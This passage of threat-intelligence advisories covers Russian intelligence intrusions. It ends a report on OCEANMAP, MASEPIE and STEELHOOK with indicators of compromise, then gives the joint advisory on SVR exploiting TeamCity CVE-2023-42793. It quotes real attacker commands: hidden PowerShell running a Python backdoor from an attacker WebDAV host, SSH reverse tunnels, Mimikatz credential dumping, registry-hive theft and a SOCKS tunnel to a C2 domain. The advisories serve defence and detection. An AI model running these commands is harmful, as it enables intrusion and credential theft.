each of the drafts contains the name of the computer, the name of the user and the version of the OS. The results of executing commands are stored in the directory of incoming messages ("INBOX"). Implemented a mechanism for updating the configuration (command check interval, addresses and authentication data of mail accounts), which involves patching the backdoor executable and restarting the process. Persistence is ensured by creating a .URL file 'VMSearch.url' in the startup directory. MASEPIE is a malicious program developed using the Python programming language. The main functionality consists in uploading/unloading files and executing commands. The TCP protocol is used as a control channel. Data is encrypted using the AES-128CBC algorithm; the key, which is a sequence of 16 arbitrary bytes, is generated at the beginning of the connection establishment. Backdoor persistence is ensured by creating the 'SysUpdate' key in the 'Run' branch of the OS registry, as well as by using the LNK file 'SystemUpdate.lnk' in the startup directory. STEELHOOK is a PowerShell script that provides the theft of Internet browser data ("Login Data", "Local State") and the DPAPI master key by sending them to the management server using an HTTP POST request in base64-encoded form. Indicators of cyber threats Files: 9724cecaa8ca38041ee9f2a42cc5a297 4fa8caea8002cd2247c2d5fd15d4e76762a0f0cdb7a3c9de5b7f4d6b2ab34ec6 2.txt 5f126b2279648d849e622e4be910b96c 6bae493b244a94fd3b268ff0feb1cd1fbc7860ecf71b1053bf43eea88e578be9 2.ps1 (STEELHOOK) 47f4b4d8f95a7e842691120c66309d5b 18f891a3737bb53cd1ab451e2140654a376a43b2d75f6695f3133d47a41952b6 Client.py (MASEPIE) 8d1b91e8fb68e227f1933cfab99218a4 6d44532b1157ddc2e1f41df178ea9cbc896c19f79e78b3014073af2d8d9504fe VMSearch.sfx.exe 6fdd416a768d04a1af1f28ecaa29191b fb2c0355b5c3adc9636551b3fd9a861f4b253a212507df0e346287110233dc23 VMSearch.exe (OCEANMAP) 5db75e816b4cef5cc457f0c9e3fc4100 24fd571600dcc00bf2bb8577c7e4fd67275f7d19d852b909395bebcbb1274e04 VMSearch.exe (OCEANMAP) 6128d9bf34978d2dc7c0a2d463d1bcdd 19d0c55ac466e4188c4370e204808ca0bc02bba480ec641da8190cb8aee92bdc KFP.311.152.2023.pdf .lnk 825a12e2377dd694bbb667f862d60c43 593583b312bf48b7748f4372e6f4a560fd38e969399cf2a96798e2594a517bf4 KFP.311.152.2023.pdf.lnk acd9fc44001da67f1a3592850ec09cb7 c22868930c02f2d6962167198fde0d3cda78ac18af506b57f1ca25ca5c39c50d Strategies of Ukraine.pdf .lnk Network: \\194[.]126.178.8@80\webdav\Docs\231130 No. 581.pdf .lnk \\194[.]126.178.8@80\webdav\Docs\231130 No. 581.pdf \\194[.]126.178.8@80\webdav\Python39\Client[.]py \\194[.]126.178.8@80\webdav\Python39\python[.]exe 173[.]239.196.66 (X-Originating-IP) (tcp)://88[.]209.251.6:80 194[.]126.178.8 88[.]209.251.6 74[.]124.219.71 (OCEANMAP C2) czyrqdnvpujmmjkfhhvs4knf1av02demj.oast[.]fun czyrqdnvpujmmjkfhhvsclx05sfi23bfr.oast[.]fun czyrqdnvpujmmjkfhhvsgapqr3hclnhhj.oast[.]fun czyrqdnvpujmmjkfhhvsvlaax17vd5r6v.oast[.]fun hXXp://194[.]126.178.8/webdav/wody[.]pdf hXXp://194[.]126.178.8/webdav/wody[.]zip hXXp://194.126.178.8/webdav/StrategyUa.pdf hXXp://194[.]126.178.8/webdav/231130N581[.]pdf hXXp://czyrqdnvpujmmjkfhhvsclx05sfi23bfr.oast[.]fun hXXp://czyrqdnvpujmmjkfhhvsgapqr3hclnhhj.oast[.]fun hXXp://czyrqdnvpujmmjkfhhvsvlaax17vd5r6v.oast[.]fun hXXp://czyrqdnvpujmmjkfhhvs4knf1av02demj.oast[.]fun hXXps://nas-files.firstcloudit[.]com/ hXXps://ua-calendar.firstcloudit[.]com/ hXXps://e-nas.firstcloudit[.]com/ jrb@bahouholdings.com (OCEANMAP C2) nas-files.firstcloudit[.]com e-nas.firstcloudit[.]com ua-calendar.firstcloudit[.]com qasim.m@facadesolutionsuae.com (OCEANMAP C2) webmail.facadesolutionsuae[.]com (OCEANMAP C2) Hosts: %PROGRAMDATA%\2.txt %PROGRAMDATA%\python.zip %PROGRAMDATA%\python\python-3.10.0-embed-amd64\Client.py %USERPROFILE%\.ssh\known_hosts %LOCALAPPDATA%\11.zip %LOCALAPPDATA%\Temp\RarSFX0\VMSearch.exe %LOCALAPPDATA%\Temp\RarSFX1\VMSearch.exe %LOCALAPPDATA%\Temp\VMSearch.sfx.exe %LOCALAPPDATA%\i.lnk %LOCALAPPDATA%\key %LOCALAPPDATA%\python.zip %LOCALAPPDATA%\python\python-3.10.0-embed-amd64\Client.py %LOCALAPPDATA%\python\python-3.10.0-embed-amd64\python.exe %LOCALAPPDATA%\qz.zip %LOCALAPPDATA%\s.lnk %LOCALAPPDATA%\s.zip %LOCALAPPDATA%\s2.zip %LOCALAPPDATA%\s3.zip %LOCALAPPDATA%\sys.zip %LOCALAPPDATA%\t.lnk %LOCALAPPDATA%\temp1.txt %LOCALAPPDATA%\temp2.txt %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\SystemUpdate.lnk %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\VMSearch.url C:\WINDOWS\system32\cmd.exe /c "powershell.exe -c "$a=Get-Content "%LOCALAPPDATA%\2.txt";powershell.exe -windowstyle hidden -encodedCommand $a""C:\ Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hid -nop -c "%PROGRAMDATA%\python\python-3.10.0-embed-amd64\python.exe %PROGRAMDATA%\python\python-3.10.0-embed-amd64. 0-embed-amd64\Client.py" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hid -nop -c " [system.Diagnostics.Process]::Start('msedge','http://194.126.178.8/webdav/ 231130N581.pdf'); \\194.126.178.8@80\webdav\Python39\python.exe \\194.126.178.8@80\webdav\Python39\Client.py" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hid -nop -c " [system.Diagnostics.Process]::Start('msedge','http://194.126.178.8/webdav/ wody.pdf'); \\194.126.178.8@80\webdav\Python39\python.exe \\194.126.178.8@80\webdav\Python39\Client.py" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hid -nop -c " [system.Diagnostics.Process]::Start('msedge','http://194.126.178.8/webdav/ StrategyUa.pdf'); \\194.126.178.8@80\webdav\Python39\python.exe \\194.126.178.8@80\webdav\Python39\Client.py" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hid -nop -c %LOCALAPPDATA%\python\python-3.10.0-embed-amd64\python.exe %LOCALAPPDATA%\python\python- 3.10.0-embed-amd64\Client.py C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hid -nop -c \\194.126.178.8@80\webdav\Python39\python.exe \\194.126.178.8@80\webdav\Python39\ Client.py C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden encodedCommand"=="4AdABlAG4AdAAgAH0AOwAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZA AA=="4AdABlAG4AdAAgAH0AOwAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgAC0AVQByAGk AA==" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden encodedCommandQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQA \\194.126.178.8@80\webdav\Python39\python.exe \\194.126.178.8@80\webdav\Python39\Client.py cmd /C start powershell.exe -w hid -nop -c "%LOCALAPPDATA%\python\python-3.10.0embed-amd64\python.exe %LOCALAPPDATA%\python\python-3.10.0-embed-amd64\ Client.py" powershell -c start-process ssh.exe -windowstyle Hidden -ArgumentList "-N -o ServerAliveInterval=30 -p80 root@88.209.251.6 -R 88.209.251.6:10858 -i %LOCALAPPDATA%\key -oPubkeyAcceptedKeyTypes=ssh-rsa - oStrictHostKeyChecking=no" PassThru powershell -c start-process ssh.exe -windowstyle Hidden -ArgumentList "-N -o ServerAliveInterval=30 -p80 root@88.209.251.6 -R 88.209.251.6:10859 -i %LOCALAPPDATA%\key -oPubkeyAcceptedKeyTypes=ssh-rsa - oStrictHostKeyChecking=no" PassThru powershell.exe -c "$a=Get-Content "%PROGRAMDATA%\2.txt"; powershell.exe -windowstyle hidden -encodedCommand $a"powershell.exe -c $a=Get-Content "%PROGRAMDATA%\2 .txt"; powershell.exe -windowstyle hidden -encodedCommand $a powershell.exe -c $a=Get-Content -Encoding 'Default' -Path "%LOCALAPPDATA%\temp.txt";"$a" powershell.exe -c $a=Get-Content -Encoding 'String' -Path "%LOCALAPPDATA%\temp.txt";"$a" powershell.exe -c $a=Get-Content -Encoding 'ascii' -Path "%LOCALAPPDATA%\temp.txt";"$a" powershell.exe -c $a=Get-Content -Encoding 'oem' -Path "%LOCALAPPDATA%\temp.txt";"$a" powershell.exe -c $a=Get-Content -Encoding 'oem' -Path "%LOCALAPPDATA%\temp.txt";Compress-Archive -Force "$a" %LOCALAPPDATA%\s.zip powershell.exe -c $a=Get-Content -Encoding 'oem' -Path "%LOCALAPPDATA%\temp.txt";dir "$a" powershell.exe -c $a=Get-Content -Encoding 'oem' -Path "%LOCALAPPDATA%\temp1.txt";Compress-Archive -Force "$a" %LOCALAPPDATA%\s2.zip powershell.exe -c $a=Get-Content -Encoding 'oem' -Path "%LOCALAPPDATA%\temp2.txt";Compress-Archive -Force "$a" %LOCALAPPDATA%\s3.zip powershell.exe -c $a=Get-Content -Encoding 'oem' -Path "%LOCALAPPDATA%\temp2.txt";dir "$a" powershell.exe -c $a=Get-Content -Encoding 'unicode' -Path "%LOCALAPPDATA%\temp.txt";"$a" powershell.exe -c $a=Get-Content -Encoding 'utf32' -Path "%LOCALAPPDATA%\temp.txt";"$a" powershell.exe -c $a=Get-Content -Encoding 'utf8' -Path "%LOCALAPPDATA%\temp.txt";"$a" powershell.exe -c $a=Get-Content -Path "%LOCALAPPDATA%\temp.txt";"$a" powershell.exe -c $a=Get-Content -Path "%LOCALAPPDATA%\temp.txt";Compress-Archive Force "$a" %LOCALAPPDATA%\s.zip powershell.exe -c Compress-Archive -Force %USERPROFILE%\Desktop\ %LOCALAPPDATA%\qz.zip powershell.exe -c Get-WinEvent -FilterHashtable @{logname="system"; id=1129} powershell.exe -c Get-WinEvent -FilterHashtable @{logname="system"; id=1501} powershell.exe -c dir /S %USERPROFILE% *.dat powershell.exe -c import-module ActiveDirectory; Get-AdDomainController powershell.exe -c net time /domain powershell.exe -c net time /domain:%DOMAIN%.local powershell.exe -w hid -nop -c %LOCALAPPDATA%\python\python-3.10.0-embedamd64\python.exe %LOCALAPPDATA%\python\python-3.10.0-embed-amd64\Client.py powershell.exe -w hid -nop -c Expand-Archive -Force %PROGRAMDATA%\python.zip %PROGRAMDATA%\python powershell.exe -w hid -nop -c start "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\SystemUpdate.lnk" powershell.exe -w hid -nop gpresult /z powershell.exe -w hid -nop gpupdate powershell.exe Compress-Archive -Force %USERPROFILE%\Desktop\ %LOCALAPPDATA%\sys.zip powershell.exe Compress-Archive -Force %USERPROFILE%\Desktop\*.lnk %LOCALAPPDATA%\11.zip powershell.exe Compress-Archive %USERPROFILE%\Desktop %LOCALAPPDATA%\sys.zip powershell.exe Expand-Archive -Force %LOCALAPPDATA%\python.zip %LOCALAPPDATA%\python powershell.exe Get-ADDomainController powershell.exe Get-Content %LOCALAPPDATA%\i.lnk powershell.exe Get-DnsClientServerAddress powershell.exe Get-NetAdapter powershell.exe Get-NetAdapterBinding | Where-Object ComponentID -EQ 'ms_tcpip6' powershell.exe Get-NetIPConfiguration -All powershell.exe Resolve-DNSName %DC% powershell.exe Resolve-DNSName %DOMAIN%.local powershell.exe Test-NetConnection %FS% -Port 445 -v powershell.exe [System.Directoryservices.Activedirectory.Domain]::GetCurrentDomain() powershell.exe date powershell.exe dir %USERPROFILE%\Desktop powershell.exe ipconfig /flushdns powershell.exe net start dnscache powershell.exe net stop dnscache Graphic images Fig. 1 Example of a chain of damage TLP:CLEAR Co-Authored by: Product ID: AA23-347A December 13, 2023 Russian Foreign Intelligence Service (SVR) Exploiting JetBrains TeamCity CVE Globally SUMMARY The U.S. Federal Bureau of Investigation (FBI), U.S. Cybersecurity & Infrastructure Security Agency (CISA), U.S. National Security Agency (NSA), Polish Military Counterintelligence Service (SKW), CERT Polska (CERT.PL), and the UK s National Cyber Security Centre (NCSC) assess Russian Foreign Intelligence Service (SVR) cyber actors also known as Advanced Persistent Threat 29 (APT 29), the Dukes, CozyBear, and NOBELIUM/Midnight Blizzard are exploiting CVE-2023-42793 at a large scale, targeting servers hosting JetBrains TeamCity software since September 2023. Software developers use TeamCity software to manage and automate software compilation, building, testing, and releasing. If compromised, access to a TeamCity server would provide malicious actors with access to that software developer s source code, signing certificates, and the ability to subvert software compilation and deployment processes access a malicious actor could further use to conduct supply chain operations. Although the SVR used such access to compromise SolarWinds and its customers in 2020, limited number and seemingly opportunistic types of victims currently identified, indicate that the SVR has not used the access afforded by the TeamCity CVE in a similar manner. The SVR has, however, been observed using the initial access gleaned by exploiting the TeamCity CVE to escalate its privileges, move laterally, deploy additional backdoors, and take other steps to ensure persistent and long-term access to the compromised network environments. To bring Russia s actions to public attention, the authoring agencies are providing information on the s most recent compromise to aid organizations in conducting their own investigations and securing their networks, provide compromised entities with actionable indicators of compromise (IOCs), and empower private sector cybersecurity companies to better detect and counter the SVR malicious actions. The authoring agencies recommend all organizations with affected systems that did not immediately apply available patches or workarounds to assume compromise and initiate threat hunting activities using the IOCs provided in this CSA. If potential compromise is detected, administrators should apply the incident response recommendations included in this CSA and report key findings to the FBI and CISA. U.S. organizations: To report suspicious or criminal activity related to information found in this joint Cybersecurity Advisory, contact your local FBI field office or CISA s 24/7 Operations Center at Report@cisa.gov or (888) 282-0870. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. SLTT organizations should report incidents to MS-ISAC (866-787-4722 or SOC@cisecurity.org). This document is marked TLP:CLEAR. Disclosure is not limited. Sources may use TLP:CLEAR when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:CLEAR information may be distributed without restrictions. For more information on the Traffic Light Protocol, see cisa.gov/tlp/. TLP:CLEAR International Partnership For a downloadable copy of IOCs, see: AA23-347A (STIX XML, 77KB) AA23-347A (STIX JSON, 70KB) THREAT OVERVIEW SVR cyber operations pose a persistent threat to public and private organizations networks globally. Since 2013, cybersecurity companies and governments have reported on SVR operations targeting victim networks to steal confidential and proprietary information. A decade later, the authoring agencies can infer a long-term targeting pattern aimed at collecting, and enabling the collection of, foreign intelligence, a broad concept that for Russia encompasses information on the politics, economics, and military of foreign states; science and technology; and foreign counterintelligence. The SVR also conducts cyber operations targeting technology companies that enable future cyber operations. A decade ago, public reports about SVR cyber activity focused largely on the SVR s spearphishing operations, targeting government agencies, think tanks and policy analysis organizations, educational institutions, and political organizations. This category of targeting is consistent with the SVR responsibility to collect political intelligence, the collection of which has long been the SVR s highest priority. For the Russian Government, political intelligence includes not only the development and execution of foreign policies, but also the development and execution of domestic policies and the political processes that drive them. In December 2016, the U.S. Government published a Joint Analysis Report titled GRIZZLY STEPPE Russian Malicious Cyber Activity, which describes the s compromise of a U.S. political party leading up to a presidential election. The SVR s use of spear phishing operations are visible today in its ongoing Diplomatic Orbiter campaign, primarily targeting diplomatic agencies. In 2023, SKW and CERT.PL published a Joint Analysis Report describing tools and techniques used by the SVR to target embassies in dozens of countries. Less frequently, reporting on SVR cyber activity has addressed other aspects of the SVR s foreign intelligence collection mission. In July 2020, U.S., U.K., and Canadian Governments jointly published an advisory revealing the SVR s exploitation of CVEs to gain initial access to networks, and its deployment of custom malware known as WellMess, WellMail, and Sorefang to target organizations involved in COVID-19 vaccine development. Although not listed in the 2020 advisory, the authoring agencies can now disclose that the SVR s WellMess campaign also targeted energy companies. Such biomedical and energy targets are consistent with the SVR s responsibility to support the Russian economy by pursuing two categories of foreign intelligence known as economic intelligence and science and technology. In April 2021, the U.S. Government attributed a supply chain operation targeting the SolarWinds information technology company and its customers to the SVR. This attribution marked the discovery that the SVR had, since at least 2018, expanded the range of its cyber operations to include the widespread targeting of information technology companies. At least some of this targeting was aimed at enabling additional cyber operations. Following this attribution, the U.S. and U.K. Governments published advisories highlighting additional SVR TTPs, including its exploitation of various CVEs, the Page 2 of 27 | Product ID: AA23-347A TLP:CLEAR TLP:CLEAR International Partnership s use of low and slow password spraying techniques to gain initial access to some victims networks, exploitation of a zero-day exploit, and exploitation of Microsoft 365 cloud environments. In this newly attributed operation targeting networks hosting TeamCity servers, the SVR demonstrably continues its practice of targeting technology companies. By choosing to exploit CVE-2023-42793, a software development program, the authoring agencies assess the SVR could benefit from access to victims, particularly by allowing the threat actors to compromise the networks of dozens of software developers. JetBrains issued a patch for this CVE in mid-September 2023, limiting the SVR operation to the exploitation of unpatched, Internet-reachable TeamCity servers. While the authoring agencies assess the SVR has not yet used its accesses to software developers to access customer networks and is likely still in the preparatory phase of its operation, having access to these companies networks presents the SVR with opportunities to enable hard-to- detect command and control (C2) infrastructure. TECHNICAL DETAILS Note: This advisory uses the MITRE ATT&CK for Enterprise framework, version 14. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors activity mapped to MITRE ATT&CK tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK s Best Practices for MITRE ATT&CK Mapping and CISA s Decider Tool. While SVR followed a similar playbook in each compromise, they also adjusted to each operating environment and not all presented steps or actions below were executed on every host. Initial Access - Exploitation The SVR started to exploit Internet-connected JetBrains TeamCity servers [T1190] in late September 2023 using CVE-2023-42793, which enables the insecure handling of specific paths allowing for bypassing authorization, resulting in arbitrary code execution on the server. The authoring agencies observations show that the TeamCity exploitation usually resulted in code execution [T1203] with high privileges granting the SVR an advantageous foothold in the network environment. The authoring agencies are not currently aware of any other initial access vector to JetBrains TeamCity currently being exploited by the SVR. Host Reconnaissance Initial observations show the SVR used the following basic, built-in commands to perform host reconnaissance [T1033],[T1059.003],[T1592.002]: whoami /priv whoami /all whoami /groups whoami /domain nltest -dclist nltest -dsgetdc tasklist netstat Page 3 of 27 | Product ID: AA23-347A TLP:CLEAR TLP:CLEAR International Partnership wmic /node:"""" /user:"""" /password:"""" process list brief wmic /node:"""" process list brief wmic process get commandline -all wmic process get commandline wmic process where name=""GoogleCrashHandler64.exe"" get commandline,processed powershell ([adsisearcher]"((samaccountname=))").Findall().Properties powershell ([adsisearcher]"((samaccountname=))").Findall().Properties.memberof powershell Get-WmiObject -Class Win32_Service -Computername powershell Get-WindowsDriver -Online -All File Exfiltration Additionally, the authoring agencies have observed the SVR exfiltrating files [T1041] which may provide insight into the host system s operating system: C:\Windows\system32\ntoskrnl.exe to precisely identify system version, likely as a prerequisite to deploy EDRSandBlast. SQL Server executable files - based on the review of the post exploitation actions, the SVR showed an interest in specific files of the SQL Server installed on the compromised systems: C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqlmin.dll, C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqllos.dll, C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqllang.dll, C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqltses.dll C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\secforwarder.dll Visual Studio files based on the review of the post exploitation actions, the SVR showed an interest in specific files of the Visual Studio: C:\Program Files (x86)\Microsoft Visual Studio\2017\SQL\Common7\IDE\VSIXAutoUpdate.exe Update management agent files based on the review of the post exploitation actions, the SVR showed an interest in executables and configuration of patch management software: o C:\Program Files (x86)\PatchManagementInstallation\Agent\12\Httpd\bin\httpd.exe o C:\Program Files (x86)\PatchManagementInstallation\Agent\12\Httpd o C:\ProgramData\GFI\LanGuard 12\HttpdConfig\httpd.conf Interest in SQL Server Based on the review of the exploitation, the SVR also showed an interest in details of the SQL Server [T1059.001],[T1505.001]: powershell Compress-Archive -Path "C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqlmin.dll","C:\Program Files\Microsoft SQL Page 4 of 27 | Product ID: AA23-347A TLP:CLEAR TLP:CLEAR International Partnership Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqllos.dll","C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqllang.dll","C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqltses.dll" -DestinationPath C:\Windows\temp\1\sql.zip SVR cyber actors also exfiltrated secforwarder.dll Tactics Used to Avoid Detection To avoid detection, the SVR used a Bring Your Own Vulnerable Driver [T1068] technique to disable or outright kill endpoint detection and response (EDR) and antivirus (AV) software [T1562.001]. This was done using an open source project called EDRSandBlast. The authoring agencies have observed the SVR using EDRSandBlast to remove protected process light (PPL) protection, which is used for controlling and protecting running processes and protecting them from infection. The actors then inject code into AV/EDR processes for a small subset of victims [T1068]. Additionally, executables that are likely to be detected (i.e. Mimikatz) were executed in memory [T1003.001]. In several cases SVR attempted to hide their backdoors via: Abusing a DLL hijacking vulnerability in Zabbix software by replacing a legitimate Zabbix DLL with their one containing GraphicalProton backdoor, Backdooring an open source application developed by Microsoft named vcperf. SVR modified and copied publicly available source code. After execution, backdoored vcperf dropped several DLLs to disc, one of those being a GraphicalProton backdoor, Abusing a DLL hijacking vulnerability in Webroot antivirus software by replacing a legitimate DLL with one containing GraphicalProton backdoor. To avoid detection by network monitoring, the SVR devised a covert C2 channel that used Microsoft OneDrive and Dropbox cloud services. To further enable obfuscation, data exchanged with malware via OneDrive and Dropbox were hidden inside randomly generated BMP files [T1564], illustrated below: Privilege Escalation To facilitate privilege escalation [T1098], the SVR used multiple techniques, including WinPEAS, NoLMHash registry key modification, and the Mimikatz tool. The SVR modified the NoLMHash registry using the following reg command: reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v NoLMHash /t REG_DWORD /d "0" /f Page 5 of 27 | Product ID: AA23-347A TLP:CLEAR TLP:CLEAR International Partnership The SVR used the following Mimikatz commands [T1003]: privilege::debug lsadump::cache lsadump::secrets lsadump::sam sekurlsa::logonpasswords Persistence The SVR relied on scheduled tasks [T1053.005] to secure persistent execution of backdoors. Depending on the privileges the SVR had, their executables were stored in one of following directories: C:\Windows\temp C:\Windows\System32 C:\Windows\WinStore The SVR made all modifications using the schtasks.exe binary. It then had multiple variants of arguments passed to schtasks.exe, which can be found in Appendix B Indicators of Compromise. To secure long-term access to the environment, the SVR used the Rubeus toolkit to craft Ticket Granting Tickets (TGTs) [T1558.001]. Sensitive Data Exfiltration [T1020] The SVR exfiltrated the following Windows Registry hives from its victims [T1003]: HKLM\SYSTEM HKLM\SAM HKLM\SECURITY In order to exfiltrate Windows Registry, the SVR saved hives into files [T1003.002], packed them, and then exfiltrated them using a backdoor capability. it used reg save to save SYSTEM, SAM and SECURITY registry hives, and used powershell to stage .zip archives in the C:\Windows\Temp\ directory. reg save HKLM\SYSTEM ""C:\Windows\temp\1\sy.sa"" /y reg save HKLM\SAM ""C:\Windows\temp\1\sam.sa"" /y reg save HKLM\SECURITY ""C:\Windows\temp\1\se.sa"" /y powershell Compress-Archive -Path C:\Windows\temp\1\ -DestinationPath C:\Windows\temp\s.zip -Force & del C:\Windows\temp\1 /F /Q In a few specific cases, the SVR used the SharpChromium tool to obtain sensitive browser data such as session cookies, browsing history, or saved logins. SVR also used DSInternals open source tool to interact with Directory Services. DSInternals allows to obtain a sensitive Domain information. Network Reconnaissance Page 6 of 27 | Product ID: AA23-347A TLP:CLEAR TLP:CLEAR International Partnership After the SVR built a secure foothold and gained an awareness of a victim s TeamCity server, it then focused on network reconnaissance [T1590.004]. The SVR performed network reconnaissance using a mix of built-in commands and additional tools, such as port scanner and PowerSploit, which it launched into memory [T1046]. The SVR executed the following PowerSploit commands: Get-NetComputer Get-NetGroup Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, pwdlastset, logoncount, badpwdcount" Get-NetDiDomain Get-AdUser Get-DomainUser -UserName Get-NetUser -PreauthNotRequire Get-NetComputer | select samaccountname Get-NetUser -SPN | select serviceprincipalname Tunneling into Compromised Environments In selected environments the SVR used an additional tool named, rr.exe a modified open source reverse socks tunneler named Rsockstun to establish a tunnel to the C2 infrastructure [T1572]. The authoring agencies are aware of the following infrastructure used in conjunction with rr.exe 65.20.97[.]203:443 Poetpages[.]com:8443 The SVR executed Rsockstun either in memory or using the Windows Management Instrumentation Command Line (WMIC) [T1047] utility after dropping it to disk: wmic process call create "C:\Program Files\Windows Defender Advanced Threat Protection\Sense.exe -connect poetpages.com -pass M554-0sddsf2@34232fsl45t31" Lateral Movement The SVR used WMIC to facilitate lateral movement [T1047],[T1210]. wmic /node:"""" /user:""" /password:"""" process call create ""rundll32 C:\Windows\system32\AclNumsInvertHost.dll AclNumsInvertHost"" The SVR also modified DisableRestrictedAdmin key to enable remote connections [T1210]. It modified Registry using the following reg command: reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d "0" /f Adversary Toolset In the course of the TeamCity operation, the SVR used multiple custom and open source available tools and backdoors. The following custom tools were observed in use during the operation: Page 7 of 27 | Product ID: AA23-347A TLP:CLEAR TLP:CLEAR International Partnership GraphicalProton is a simplistic backdoor that uses OneDrive, Dropbox, and randomly generated BMPs [T1027.001] to exchange data with the SVR operator. After execution, GraphicalProton gathers environment information such as active TCP/UDP connections [T1049], running processes [T1049], as well as user, host, and domain names [T1590]. OneDrive is used as a primary communication channel while Dropbox is treated as a backup channel [T1567]. API keys are hardcoded into the malware. When communicating with cloud services, GraphicalProton generates a randomly named directory which is used to store infection-specific BMP files - with both commands and results [T1564.001]. Directory name is re-randomized each time the GraphicalProton process is started. BMP files that were used to exchange data were generated in the following way: 1. Compress data using zlib, 2. Encrypt data using custom algorithm, 3. Add string literal to encrypted data, 4. Create a random BMP with random rectangle, 5. And finally, encode encrypted data within lower pixel bits. While the GraphicalProton backdoor has remained mostly unchanged over the months we have been tracking it, to avoid detection the adversary wrapped the tool in various different layers of obfuscation, encryption, encoders, and stagers. Two specific variants of GraphicalProton packaging are especially noteworthy a variant that uses DLL hijacking [T1574.002] in Zabbix as a means to start execution (and potentially provide long-term, hard-to-detect access) and a variant that masks itself within vcperf [T1036], an open-source C++ build analysis tool from Microsoft. GraphicalProton HTTPS variant a variant of GraphicalProton backdoor recently introduced by the SVR that forgoes using cloud-based services as a C2 channel and instead relies on HTTP request. To legitimize the C2 channel, SVR used a re-registered expired domain set up with dummy WordPress website. Execution of HTTPS variant of GraphicalProton is split into two files stager and encrypted binary file that contains further code. MITRE ATT&CK TACTICS AND TECHNIQUES See below tables for all referenced threat actor tactics and techniques in this advisory. For additional mitigations, see the Mitigations section. Table 1: SVR Cyber Actors ATT&CK Techniques for Enterprise - Reconnaissance Technique Title Gather Victim Network Information: Network Topology T1590.004 SVR cyber actors may gather information about the victim network topology that can be used during targeting. Page 8 of 27 | Product ID: AA23-347A TLP:CLEAR TLP:CLEAR International Partnership Gather Victim Host Information: Software T1592.002 SVR cyber actors may gather information about the victim s host networks that can be used during targeting. Table 2: SVR Cyber Actors ATT&CK Techniques for Enterprise Initial Access Technique Title Exploit Public-Facing Application T1190 SVR cyber actors exploit internetconnected JetBrains TeamCity server using CVE-2023-42793 for initial access. Table 3: SVR Cyber Actors ATT&CK Techniques for Enterprise: Execution Technique Title Command and Scripting Interpreter: PowerShell T1059.001 SVR cyber actors used powershell commands to compress Microsoft SQL server .dll files. Command and Scripting Interpreter: Windows Command Shell T1059.003 SVR cyber actors execute these powershell commands to perform host reconnaissance: powershell ([adsisearcher]"((samaccountn ame=))").Findall().P roperties powershell ([adsisearcher]"((samaccountn ame=))").Findall().P roperties.memberof powershell Get-WmiObject Class Win32_Service Computername powershell Get-WindowsDriver -Online -All Exploitation for Client Execution T1203 SVR cyber actors leverage arbitrary code execution after exploiting CVE2023-42793. Page 9 of 27 | Product ID: AA23-347A TLP:CLEAR TLP:CLEAR International Partnership Hijack Execution Flow: DLL Side-Loading T1574.002 SVR cyber actors use a variant of GraphicalProton that uses DLL hijacking in Zabbix as a means to start execution. Table 4: SVR Cyber Actors ATT&CK Techniques for Enterprise: Persistence Technique Title Scheduled Task T1053.005 SVR cyber actors may abuse Windows Task Schedule to perform task scheduling for initial or recurring execution of malicious code. Server Software Component: SQL Stored Procedures T1505.001 SVR cyber actors abuse SQL server stored procedures to maintain persistence. Boot or Logon Autostart Execution T1547 SVR cyber actors used C:\Windows\system32\ntoskrnl.exe to configure automatic system boot settings to maintain persistence. Table 5: SVR Cyber Actors ATT&CK Techniques for Enterprise: Privilege Escalation Technique Title Exploitation for Privilege Escalation T1068 SVR cyber actors exploit JetBrains TeamCity vulnerability to achieve escalated privileges. To avoid detection, the SVR cyber actors used a Bring Your Own Vulnerable Driver technique to disable EDR and AV defense mechanisms. Account Manipulation T1098 SVR cyber actors may manipulate accounts to maintain and/or elevate access to victim systems. Page 10 of 27 | Product ID: AA23-347A TLP:CLEAR TLP:CLEAR International Partnership Table 6: SVR Cyber Actors ATT&CK Techniques for Enterprise: Defense Evasion Technique Title Obfuscated Files or Information: Binary Padding T1027.001 SVR cyber actors use BMPs to perform binary padding while exchange data is exfiltrated to an their C2 station. Masquerading T1036 SVR cyber actors use a variant that uses DLL hijacking in Zabbix as a means to start execution (and potentially provide long-term, hard-todetect access) and a variant that masks itself within vcperf, an opensource C++ build analysis tool from Microsoft. 